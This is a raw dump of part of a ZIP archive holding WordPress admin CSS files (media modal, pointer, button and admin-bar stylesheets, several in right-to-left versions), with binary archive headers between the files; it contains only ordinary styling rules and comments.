.attachments-browser.has-load-more .attachments-wrapper { left: 262px; } .attachments-browser .media-toolbar { height: 82px; } .attachments-browser .attachments, .attachments-browser .uploader-inline, .media-frame-content .attachments-browser .attachments-wrapper { top: 82px; } .media-sidebar .setting, .attachment-details .setting { margin: 6px 0; } .media-sidebar .setting input, .media-sidebar .setting textarea, .media-sidebar .setting .name, .attachment-details .setting input, .attachment-details .setting textarea, .attachment-details .setting .name, .compat-item label span { float: none; display: inline-block; } .media-sidebar .setting span, /* Back-compat for pre-5.3 */ .attachment-details .setting span, /* Back-compat for pre-5.3 */ .media-sidebar .checkbox-label-inline { float: none; } .media-sidebar .setting .select-label-inline { display: inline; } .media-sidebar .setting .name, .media-sidebar .checkbox-label-inline, .attachment-details .setting .name, .compat-item label span { text-align: inherit; min-height: 16px; margin: 0; padding: 8px 2px 2px; } /* Needs high specificity. */ .media-sidebar .setting .copy-to-clipboard-container, .attachment-details .attachment-info .copy-to-clipboard-container { margin-right: 0; padding-top: 0; } .media-sidebar .setting .copy-attachment-url, .attachment-details .attachment-info .copy-attachment-url { margin: 0 1px; } .media-sidebar .setting .value, .attachment-details .setting .value { float: none; width: auto; } .media-sidebar .setting input[type="text"], .media-sidebar .setting input[type="password"], .media-sidebar .setting input[type="email"], .media-sidebar .setting input[type="number"], .media-sidebar .setting input[type="search"], .media-sidebar .setting input[type="tel"], .media-sidebar .setting input[type="url"], .media-sidebar .setting textarea, .media-sidebar .setting select, .attachment-details .setting input[type="text"], .attachment-details .setting input[type="password"], .attachment-details .setting input[type="email"], .attachment-details .setting input[type="number"], .attachment-details .setting input[type="search"], .attachment-details .setting input[type="tel"], .attachment-details .setting input[type="url"], .attachment-details .setting textarea, .attachment-details .setting select, .attachment-details .setting + .description { float: none; width: 98%; max-width: none; height: auto; } .media-frame .media-toolbar input[type="search"] { line-height: 2.25; /* 36px */ } .media-sidebar .setting select.columns, .attachment-details .setting select.columns { width: auto; } .media-frame input, .media-frame textarea, .media-frame .search { padding: 3px 6px; } .wp-admin .media-frame select { min-height: 40px; font-size: 16px; line-height: 1.625; padding: 5px 8px 5px 24px; } .image-details .column-image { width: 30%; right: 70%; } .image-details .column-settings { width: 70%; } .image-details .media-modal { right: 30px; left: 30px; } .image-details .embed-media-settings .setting, .image-details .embed-media-settings .setting-group { margin: 20px; } .image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */ .image-details .embed-media-settings .setting .name { float: none; text-align: right; width: 100%; margin-bottom: 4px; margin-right: 0; } .media-modal .legend-inline { position: static; transform: none; margin-right: 0; margin-bottom: 6px; } .image-details .embed-media-settings .setting-group .setting { margin-bottom: 0; } .image-details .embed-media-settings .setting input.link-to-custom, .image-details .embed-media-settings .setting input[type="text"], .image-details .embed-media-settings .setting textarea { width: 100%; margin-right: 0; } .image-details .embed-media-settings .setting.has-description { margin-bottom: 5px; } .image-details .description { width: auto; margin: 0 20px; } .image-details .embed-media-settings .custom-size { margin-right: 20px; } .collection-settings .setting input[type="checkbox"] { float: none; margin-top: 0; } .media-selection { min-width: 120px; } .media-selection:after { background: none; } .media-selection .attachments { display: none; } .media-modal .attachments-browser .media-toolbar .search { max-width: 100%; height: auto; float: left; } .media-modal .attachments-browser .media-toolbar .attachment-filters { height: auto; } /* Text inputs need to be 16px, or they force zooming on iOS */ .media-frame input[type="text"], .media-frame input[type="password"], .media-frame input[type="number"], .media-frame input[type="search"], .media-frame input[type="email"], .media-frame input[type="url"], .media-frame textarea, .media-frame select { font-size: 16px; line-height: 1.5; } .media-frame .media-toolbar input[type="search"] { line-height: 2.3755; /* 38px */ } .media-modal .media-toolbar .spinner { margin-bottom: 10px; } } @media screen and (max-width: 782px) { .imgedit-panel-content { grid-template-columns: auto; } .media-frame-toolbar .media-toolbar { bottom: -54px; } .mode-grid .attachments-browser .media-toolbar-primary { display: grid; grid-template-columns: auto 1fr; } .mode-grid .attachments-browser .media-toolbar-primary input[type="search"] { width: 100%; } .media-sidebar .copy-to-clipboard-container .success, .attachment-details .copy-to-clipboard-container .success { font-size: 14px; line-height: 2.71428571; } .media-frame .wp-filter .media-toolbar-secondary { position: unset; } .media-frame .media-toolbar-secondary .spinner { position: absolute; top: 0; bottom: 0; margin: auto; right: 0; left: 0; z-index: 9; } .media-bg-overlay { content: ''; background: #ffffff; width: 100%; height: 100%; display: none; position: absolute; right: 0; left: 0; top: 0; bottom: 0; opacity: 0.6; } } /* Responsive on portrait and landscape */ @media only screen and (max-width: 640px), screen and (max-height: 400px) { /* Full-bleed modal */ .media-modal, .image-details .media-modal { position: fixed; top: 0; right: 0; left: 0; bottom: 0; } .media-modal-backdrop { position: fixed; } .options-general-php .crop-content.site-icon, .wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon { margin-left: 0; } .media-sidebar { z-index: 1900; max-width: 70%; bottom: 120%; box-sizing: border-box; padding-bottom: 0; } .media-sidebar.visible { bottom: 0; } .attachments-browser .attachments, .attachments-browser .uploader-inline, .attachments-browser .media-toolbar, .media-frame-content .attachments-browser .attachments-wrapper { left: 0; } .image-details .media-frame-title { display: block; top: 0; font-size: 14px; } .image-details .column-image, .image-details .column-settings { width: 100%; position: relative; right: 0; } .image-details .column-settings { padding: 4px 0; } /* Media tabs on the top */ .media-frame-content .media-toolbar .instructions { display: none; } /* Change margin direction on load more button in responsive views. */ .load-more-wrapper .load-more-jump { margin: 12px 0 0; } } @media only screen and (min-width: 901px) and (max-height: 400px) { .media-menu, .media-frame:not(.hide-menu) .media-menu { top: 0; padding-top: 44px; } /* Change margin direction on load more button in responsive views. */ .load-more-wrapper .load-more-jump { margin: 12px 0 0; } } @media only screen and (max-width: 480px) { .wp-core-ui.wp-customizer .media-button { margin-top: 13px; } } /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .wp-core-ui .media-modal-icon { background-image: url(../images/uploader-icons-2x.png); background-size: 134px 15px; } .media-frame .spinner { background-image: url(../images/spinner-2x.gif); } } .media-frame-content[data-columns="1"] .attachment { width: 100%; } .media-frame-content[data-columns="2"] .attachment { width: 50%; } .media-frame-content[data-columns="3"] .attachment { width: 33.33%; } .media-frame-content[data-columns="4"] .attachment { width: 25%; } .media-frame-content[data-columns="5"] .attachment { width: 20%; } .media-frame-content[data-columns="6"] .attachment { width: 16.66%; } .media-frame-content[data-columns="7"] .attachment { width: 14.28%; } .media-frame-content[data-columns="8"] .attachment { width: 12.5%; } .media-frame-content[data-columns="9"] .attachment { width: 11.11%; } .media-frame-content[data-columns="10"] .attachment { width: 10%; } .media-frame-content[data-columns="11"] .attachment { width: 9.09%; } .media-frame-content[data-columns="12"] .attachment { width: 8.33%; } PK!†jœÌÌcss/wp-pointer.cssnuȯÝí.wp-pointer-content { padding: 0 0 10px; position: relative; font-size: 13px; background: #fff; border: 1px solid #c3c4c7; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.08); } .wp-pointer-content h3 { position: relative; margin: -1px -1px 5px; padding: 15px 18px 14px 60px; border: 1px solid #2271b1; border-bottom: none; line-height: 1.4; font-size: 14px; color: #fff; background: #2271b1; } .wp-pointer-content h3:before { background: #fff; border-radius: 50%; color: #2271b1; content: "\f227"; content: "\f227" / ''; font: normal 20px/1.6 dashicons; position: absolute; top: 8px; left: 15px; text-align: center; width: 32px; height: 32px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-pointer-content h4 { margin: 1.33em 20px 1em; font-size: 1.15em; } .wp-pointer-content p { padding: 0 20px; } .wp-pointer-buttons { margin: 0; padding: 5px 15px; overflow: auto; } .wp-pointer-buttons a { float: right; display: inline-block; text-decoration: none; } .wp-pointer-buttons a.close { padding-left: 3px; position: relative; } .wp-pointer-buttons a.close:before { background: none; color: #787c82; content: "\f153"; content: "\f153" / ''; display: block !important; font: normal 16px/1 dashicons; margin: 1px 0; text-align: center; -webkit-font-smoothing: antialiased !important; width: 10px; height: 100%; position: absolute; left: -15px; top: 1px; } .wp-pointer-buttons a.close:hover:before { color: #d63638; } /* The arrow base class must take up no space, even with transparent borders. */ .wp-pointer-arrow, .wp-pointer-arrow-inner { position: absolute; width: 0; height: 0; } .wp-pointer-arrow { z-index: 10; width: 0; height: 0; border: 0 solid transparent; } .wp-pointer-arrow-inner { z-index: 20; } /* Make Room for the Arrow! */ .wp-pointer-top, .wp-pointer-undefined { padding-top: 13px; } .wp-pointer-bottom { margin-top: -13px; padding-bottom: 13px; } /* rtl:ignore */ .wp-pointer-left { padding-left: 13px; } /* rtl:ignore */ .wp-pointer-right { margin-left: -13px; padding-right: 13px; } /* Base Size & Positioning */ .wp-pointer-top .wp-pointer-arrow, .wp-pointer-bottom .wp-pointer-arrow, .wp-pointer-undefined .wp-pointer-arrow { left: 50px; } .wp-pointer-left .wp-pointer-arrow, .wp-pointer-right .wp-pointer-arrow { top: 50%; margin-top: -15px; } /* Arrow Sprite */ .wp-pointer-top .wp-pointer-arrow, .wp-pointer-undefined .wp-pointer-arrow { top: 0; border-width: 0 13px 13px; border-bottom-color: #2271b1; } .wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer-undefined .wp-pointer-arrow-inner { top: 1px; margin-left: -13px; margin-top: -13px; border: 13px solid transparent; border-bottom-color: #2271b1; display: block; content: " "; } .wp-pointer-bottom .wp-pointer-arrow { bottom: 0; border-width: 13px 13px 0; border-top-color: #c3c4c7; } .wp-pointer-bottom .wp-pointer-arrow-inner { bottom: 1px; margin-left: -13px; margin-bottom: -13px; border: 13px solid transparent; border-top-color: #fff; display: block; content: " "; } /* rtl:ignore */ .wp-pointer-left .wp-pointer-arrow { left: 0; border-width: 13px 13px 13px 0; border-right-color: #c3c4c7; } /* rtl:ignore */ .wp-pointer-left .wp-pointer-arrow-inner { left: 1px; margin-left: -13px; margin-top: -13px; border: 13px solid transparent; border-right-color: #fff; display: block; content: " "; } /* rtl:ignore */ .wp-pointer-right .wp-pointer-arrow { right: 0; border-width: 13px 0 13px 13px; border-left-color: #c3c4c7; } /* rtl:ignore */ .wp-pointer-right .wp-pointer-arrow-inner { right: 1px; margin-right: -13px; margin-top: -13px; border: 13px solid transparent; border-left-color: #fff; display: block; content: " "; } .wp-pointer.arrow-bottom .wp-pointer-content { margin-bottom: -45px; } .wp-pointer.arrow-bottom .wp-pointer-arrow { top: 100%; margin-top: -30px; } /* Disable pointers at responsive sizes */ @media screen and (max-width: 782px) { .wp-pointer { display: none; } } PK!O|BÐ## css/wp-embed-template-ie.min.cssnuȯÝí/*! This file is auto-generated */ PK!²ÂïH´ ´ css/wp-pointer.min.cssnuȯÝí/*! This file is auto-generated */ .wp-pointer-content{padding:0 0 10px;position:relative;font-size:13px;background:#fff;border:1px solid #c3c4c7;box-shadow:0 3px 6px rgba(0,0,0,.08)}.wp-pointer-content h3{position:relative;margin:-1px -1px 5px;padding:15px 18px 14px 60px;border:1px solid #2271b1;border-bottom:none;line-height:1.4;font-size:14px;color:#fff;background:#2271b1}.wp-pointer-content h3:before{background:#fff;border-radius:50%;color:#2271b1;content:"\f227";content:"\f227"/'';font:normal 20px/1.6 dashicons;position:absolute;top:8px;left:15px;text-align:center;width:32px;height:32px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-pointer-content h4{margin:1.33em 20px 1em;font-size:1.15em}.wp-pointer-content p{padding:0 20px}.wp-pointer-buttons{margin:0;padding:5px 15px;overflow:auto}.wp-pointer-buttons a{float:right;display:inline-block;text-decoration:none}.wp-pointer-buttons a.close{padding-left:3px;position:relative}.wp-pointer-buttons a.close:before{background:0 0;color:#787c82;content:"\f153";content:"\f153"/'';display:block!important;font:normal 16px/1 dashicons;margin:1px 0;text-align:center;-webkit-font-smoothing:antialiased!important;width:10px;height:100%;position:absolute;left:-15px;top:1px}.wp-pointer-buttons a.close:hover:before{color:#d63638}.wp-pointer-arrow,.wp-pointer-arrow-inner{position:absolute;width:0;height:0}.wp-pointer-arrow{z-index:10;width:0;height:0;border:0 solid transparent}.wp-pointer-arrow-inner{z-index:20}.wp-pointer-top,.wp-pointer-undefined{padding-top:13px}.wp-pointer-bottom{margin-top:-13px;padding-bottom:13px}.wp-pointer-left{padding-left:13px}.wp-pointer-right{margin-left:-13px;padding-right:13px}.wp-pointer-bottom .wp-pointer-arrow,.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{left:50px}.wp-pointer-left .wp-pointer-arrow,.wp-pointer-right .wp-pointer-arrow{top:50%;margin-top:-15px}.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{top:0;border-width:0 13px 13px;border-bottom-color:#2271b1}.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer-undefined .wp-pointer-arrow-inner{top:1px;margin-left:-13px;margin-top:-13px;border:13px solid transparent;border-bottom-color:#2271b1;display:block;content:" "}.wp-pointer-bottom .wp-pointer-arrow{bottom:0;border-width:13px 13px 0;border-top-color:#c3c4c7}.wp-pointer-bottom .wp-pointer-arrow-inner{bottom:1px;margin-left:-13px;margin-bottom:-13px;border:13px solid transparent;border-top-color:#fff;display:block;content:" "}.wp-pointer-left .wp-pointer-arrow{left:0;border-width:13px 13px 13px 0;border-right-color:#c3c4c7}.wp-pointer-left .wp-pointer-arrow-inner{left:1px;margin-left:-13px;margin-top:-13px;border:13px solid transparent;border-right-color:#fff;display:block;content:" "}.wp-pointer-right .wp-pointer-arrow{right:0;border-width:13px 0 13px 13px;border-left-color:#c3c4c7}.wp-pointer-right .wp-pointer-arrow-inner{right:1px;margin-right:-13px;margin-top:-13px;border:13px solid transparent;border-left-color:#fff;display:block;content:" "}.wp-pointer.arrow-bottom .wp-pointer-content{margin-bottom:-45px}.wp-pointer.arrow-bottom .wp-pointer-arrow{top:100%;margin-top:-30px}@media screen and (max-width:782px){.wp-pointer{display:none}}PK!6Àƒ‹&‹&css/buttons-rtl.cssnu„[µü¤/*! This file is auto-generated */ /* ---------------------------------------------------------------------------- NOTE: If you edit this file, you should make sure that the CSS rules for buttons in the following files are updated. * jquery-ui-dialog.css * editor.css WordPress-style Buttons ======================= Create a button by adding the `.button` class to an element. For backward compatibility, we support several other classes (such as `.button-secondary`), but these will *not* work with the stackable classes described below. Button Styles ------------- To display a primary button style, add the `.button-primary` class to a button. Button Sizes ------------ Adjust a button's size by adding the `.button-large` or `.button-small` class. Button States ------------- Lock the state of a button by adding the name of the pseudoclass as an actual class (e.g. `.hover` for `:hover`). TABLE OF CONTENTS: ------------------ 1.0 - Button Layouts 2.0 - Default Button Style 3.0 - Primary Button Style 4.0 - Button Groups 5.0 - Responsive Button Styles ---------------------------------------------------------------------------- */ /* ---------------------------------------------------------------------------- 1.0 - Button Layouts ---------------------------------------------------------------------------- */ .wp-core-ui .button, .wp-core-ui .button-primary, .wp-core-ui .button-secondary { display: inline-block; text-decoration: none; font-size: 13px; line-height: 2.15384615; /* 28px */ min-height: 30px; margin: 0; padding: 0 10px; cursor: pointer; border-width: 1px; border-style: solid; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; box-sizing: border-box; } /* Remove the dotted border on :focus and the extra padding in Firefox */ .wp-core-ui button::-moz-focus-inner, .wp-core-ui input[type="reset"]::-moz-focus-inner, .wp-core-ui input[type="button"]::-moz-focus-inner, .wp-core-ui input[type="submit"]::-moz-focus-inner { border-width: 0; border-style: none; padding: 0; } .wp-core-ui .button.button-large, .wp-core-ui .button-group.button-large .button { min-height: 32px; line-height: 2.30769231; /* 30px */ padding: 0 12px; } .wp-core-ui .button.button-small, .wp-core-ui .button-group.button-small .button { min-height: 26px; line-height: 2.18181818; /* 24px */ padding: 0 8px; font-size: 11px; } .wp-core-ui .button.button-hero, .wp-core-ui .button-group.button-hero .button { font-size: 14px; min-height: 46px; line-height: 3.14285714; padding: 0 36px; } .wp-core-ui .button.hidden { display: none; } /* Style Reset buttons as simple text links */ .wp-core-ui input[type="reset"], .wp-core-ui input[type="reset"]:hover, .wp-core-ui input[type="reset"]:active, .wp-core-ui input[type="reset"]:focus { background: none; border: none; box-shadow: none; padding: 0 2px 1px; width: auto; } /* ---------------------------------------------------------------------------- 2.0 - Default Button Style ---------------------------------------------------------------------------- */ .wp-core-ui .button, .wp-core-ui .button-secondary { color: #2271b1; border-color: #2271b1; background: #f6f7f7; vertical-align: top; } .wp-core-ui p .button { vertical-align: baseline; } .wp-core-ui .button.hover, .wp-core-ui .button:hover, .wp-core-ui .button-secondary:hover{ background: #f0f0f1; border-color: #0a4b78; color: #0a4b78; } .wp-core-ui .button.focus, .wp-core-ui .button:focus, .wp-core-ui .button-secondary:focus { background: #f6f7f7; border-color: #3582c4; color: #0a4b78; box-shadow: 0 0 0 1px #3582c4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; /* Reset inherited offset from Gutenberg */ outline-offset: 0; } /* :active state */ .wp-core-ui .button:active, .wp-core-ui .button-secondary:active { background: #f6f7f7; border-color: #8c8f94; box-shadow: none; } /* pressed state e.g. a selected setting */ .wp-core-ui .button.active, .wp-core-ui .button.active:hover { background-color: #dcdcde; color: #135e96; border-color: #0a4b78; box-shadow: inset 0 2px 5px -3px #0a4b78; } .wp-core-ui .button.active:focus { border-color: #3582c4; box-shadow: inset 0 2px 5px -3px #0a4b78, 0 0 0 1px #3582c4; } .wp-core-ui .button[disabled], .wp-core-ui .button:disabled, .wp-core-ui .button.disabled, .wp-core-ui .button-secondary[disabled], .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled, .wp-core-ui .button-disabled { color: #a7aaad !important; border-color: #dcdcde !important; background: #f6f7f7 !important; box-shadow: none !important; cursor: default; transform: none !important; } .wp-core-ui .button[aria-disabled="true"], .wp-core-ui .button-secondary[aria-disabled="true"] { cursor: default; } /* Buttons that look like links, for a cross of good semantics with the visual */ .wp-core-ui .button-link { margin: 0; padding: 0; box-shadow: none; border: 0; border-radius: 0; background: none; cursor: pointer; text-align: right; /* Mimics the default link style in common.css */ color: #2271b1; text-decoration: underline; transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active { color: #135e96; } .wp-core-ui .button-link:focus { color: #043959; box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-core-ui .button-link-delete { color: #d63638; } .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: #d63638; background: transparent; } .wp-core-ui .button-link-delete:disabled { /* overrides the default buttons disabled background */ background: transparent !important; } /* ---------------------------------------------------------------------------- 3.0 - Primary Button Style ---------------------------------------------------------------------------- */ .wp-core-ui .button-primary { background: #2271b1; border-color: #2271b1; color: #fff; text-decoration: none; text-shadow: none; } .wp-core-ui .button-primary.hover, .wp-core-ui .button-primary:hover, .wp-core-ui .button-primary.focus, .wp-core-ui .button-primary:focus { background: #135e96; border-color: #135e96; color: #fff; } .wp-core-ui .button-primary.focus, .wp-core-ui .button-primary:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #2271b1; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:hover, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary:active { background: #135e96; border-color: #135e96; box-shadow: none; color: #fff; } .wp-core-ui .button-primary[disabled], .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary-disabled, .wp-core-ui .button-primary.disabled { color: #a7aaad !important; background: #f6f7f7 !important; border-color: #dcdcde !important; box-shadow: none !important; text-shadow: none !important; cursor: default; } .wp-core-ui .button-primary[aria-disabled="true"] { cursor: default; } /* ---------------------------------------------------------------------------- 4.0 - Button Groups ---------------------------------------------------------------------------- */ .wp-core-ui .button-group { position: relative; display: inline-block; white-space: nowrap; font-size: 0; vertical-align: middle; } .wp-core-ui .button-group > .button { display: inline-block; border-radius: 0; margin-left: -1px; } .wp-core-ui .button-group > .button:first-child { border-radius: 0 3px 3px 0; } .wp-core-ui .button-group > .button:last-child { border-radius: 3px 0 0 3px; } .wp-core-ui .button-group > .button-primary + .button { border-right: 0; } .wp-core-ui .button-group > .button:focus { position: relative; z-index: 1; } /* pressed state e.g. a selected setting */ .wp-core-ui .button-group > .button.active { background-color: #dcdcde; color: #135e96; border-color: #0a4b78; box-shadow: inset 0 2px 5px -3px #0a4b78; } .wp-core-ui .button-group > .button.active:focus { border-color: #3582c4; box-shadow: inset 0 2px 5px -3px #0a4b78, 0 0 0 1px #3582c4; } /* ---------------------------------------------------------------------------- 5.0 - Responsive Button Styles ---------------------------------------------------------------------------- */ @media screen and (max-width: 782px) { .wp-core-ui .button, .wp-core-ui .button.button-large, .wp-core-ui .button.button-small, input#publish, input#save-post, a.preview { padding: 0 14px; line-height: 2.71428571; /* 38px */ font-size: 14px; vertical-align: middle; min-height: 40px; margin-bottom: 4px; } /* Copy attachment URL button in the legacy edit media page. */ .wp-core-ui .copy-to-clipboard-container .copy-attachment-url { margin-bottom: 0; } #media-upload.wp-core-ui .button { padding: 0 10px 1px; min-height: 24px; line-height: 22px; font-size: 13px; } .media-frame.mode-grid .bulk-select .button { margin-bottom: 0; } /* Publish Metabox Options */ .wp-core-ui .save-post-status.button { position: relative; margin: 0 10px 0 14px; /* 14px right margin to match all other buttons */ } /* Reset responsive styles in Press This, Customizer */ .wp-core-ui.wp-customizer .button { font-size: 13px; line-height: 2.15384615; /* 28px */ min-height: 30px; margin: 0; vertical-align: inherit; } .wp-customizer .theme-overlay .theme-actions .button { margin-bottom: 5px; } .media-modal-content .media-toolbar-primary .media-button { margin-top: 10px; margin-right: 5px; } /* Reset responsive styles on Log in button on iframed login form */ .interim-login .button.button-large { min-height: 30px; line-height: 2; padding: 0 12px 2px; } } PK!{œ±—LaLacss/admin-bar-rtl.cssnuȯÝí/*! This file is auto-generated */ html { --wp-admin--admin-bar--height: 32px; scroll-padding-top: var(--wp-admin--admin-bar--height); } #wpadminbar * { height: auto; width: auto; margin: 0; padding: 0; position: static; text-shadow: none; text-transform: none; letter-spacing: normal; font-size: 13px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-style: normal; line-height: 2.46153846; border-radius: 0; box-sizing: content-box; transition: none; -webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */ -moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */ } .rtl #wpadminbar * { font-family: Tahoma, sans-serif; } html:lang(he-il) .rtl #wpadminbar * { font-family: Arial, sans-serif; } #wpadminbar .ab-empty-item { cursor: default; } #wpadminbar .ab-empty-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #f0f0f1; } #wpadminbar #wp-admin-bar-site-name a.ab-item, #wpadminbar #wp-admin-bar-my-sites a.ab-item { white-space: nowrap; } #wpadminbar ul li:before, #wpadminbar ul li:after { content: normal; } #wpadminbar a, #wpadminbar a:hover, #wpadminbar a img, #wpadminbar a img:hover { border: none; text-decoration: none; background: none; box-shadow: none; } #wpadminbar a:focus, #wpadminbar a:active, #wpadminbar input[type="text"], #wpadminbar input[type="password"], #wpadminbar input[type="number"], #wpadminbar input[type="search"], #wpadminbar input[type="email"], #wpadminbar input[type="url"], #wpadminbar select, #wpadminbar textarea, #wpadminbar div { box-shadow: none; } #wpadminbar a:focus { /* Inherits transparent outline only visible in Windows High Contrast mode */ outline-offset: -1px; } #wpadminbar { direction: rtl; color: #c3c4c7; font-size: 13px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.46153846; height: 32px; position: fixed; top: 0; right: 0; width: 100%; min-width: 600px; /* match the min-width of the body in wp-admin/css/common.css */ z-index: 99999; background: #1d2327; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } #wpadminbar .ab-sub-wrapper, #wpadminbar ul, #wpadminbar ul li { background: none; clear: none; list-style: none; margin: 0; padding: 0; position: relative; text-indent: 0; z-index: 99999; } #wpadminbar ul#wp-admin-bar-root-default>li { margin-left: 0; } #wpadminbar .quicklinks ul { text-align: right; } #wpadminbar li { float: right; } #wpadminbar .ab-empty-item { outline: none; } #wpadminbar .quicklinks a, #wpadminbar .quicklinks .ab-empty-item, #wpadminbar .shortlink-input { height: 32px; display: block; padding: 0 10px; margin: 0; } #wpadminbar .quicklinks > ul > li > a { padding: 0 7px 0 8px; } #wpadminbar .menupop .ab-sub-wrapper, #wpadminbar .shortlink-input { margin: 0; padding: 0; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); background: #2c3338; display: none; position: absolute; float: none; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: 100%; } #wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper { left: 0; right: auto; } #wpadminbar .ab-submenu { padding: 6px 0; } #wpadminbar .selected .shortlink-input { display: block; } #wpadminbar .quicklinks .menupop ul li { float: none; } #wpadminbar .quicklinks .menupop ul li a strong { font-weight: 600; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 2; height: 26px; white-space: nowrap; min-width: 140px; } #wpadminbar .shortlink-input { width: 200px; } #wpadminbar.nojs li:hover > .ab-sub-wrapper, #wpadminbar li.hover > .ab-sub-wrapper { display: block; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-right: 100%; margin-top: -32px; } #wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper, #wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper { margin-right: 0; right: inherit; left: 100%; } #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar .ab-top-menu > li.hover > .ab-item { background: #2c3338; color: #72aee6; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #72aee6; } #wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon, #wpadminbar .ab-icon, #wpadminbar .ab-item:before, .wp-admin-bar-arrow { position: relative; float: right; font: normal 20px/1 dashicons; padding: 4px 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; background-image: none !important; margin-left: 6px; } #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar #adminbarsearch:before { color: #a7aaad; color: rgba(240, 246, 252, 0.6); } #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar #adminbarsearch:before { position: relative; transition: color .1s ease-in-out; } #wpadminbar .ab-label { display: inline-block; height: 32px; } #wpadminbar .ab-submenu .ab-item { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); } #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover, #wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #72aee6; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #c3c4c7; } #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #72aee6; } #wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before, #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before { position: absolute; font: normal 17px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #wpadminbar .menupop .menupop > .ab-item { display: block; padding-left: 2em; } #wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before { top: 1px; left: 10px; padding: 4px 0; content: "\f141"; content: "\f139" / ''; color: inherit; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item { padding-right: 2em; padding-left: 1em; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item .wp-admin-bar-arrow:before { top: 1px; right: 6px; content: "\f139"; content: "\f141" / ''; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary { display: block; position: relative; left: auto; margin: 0; box-shadow: none; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, 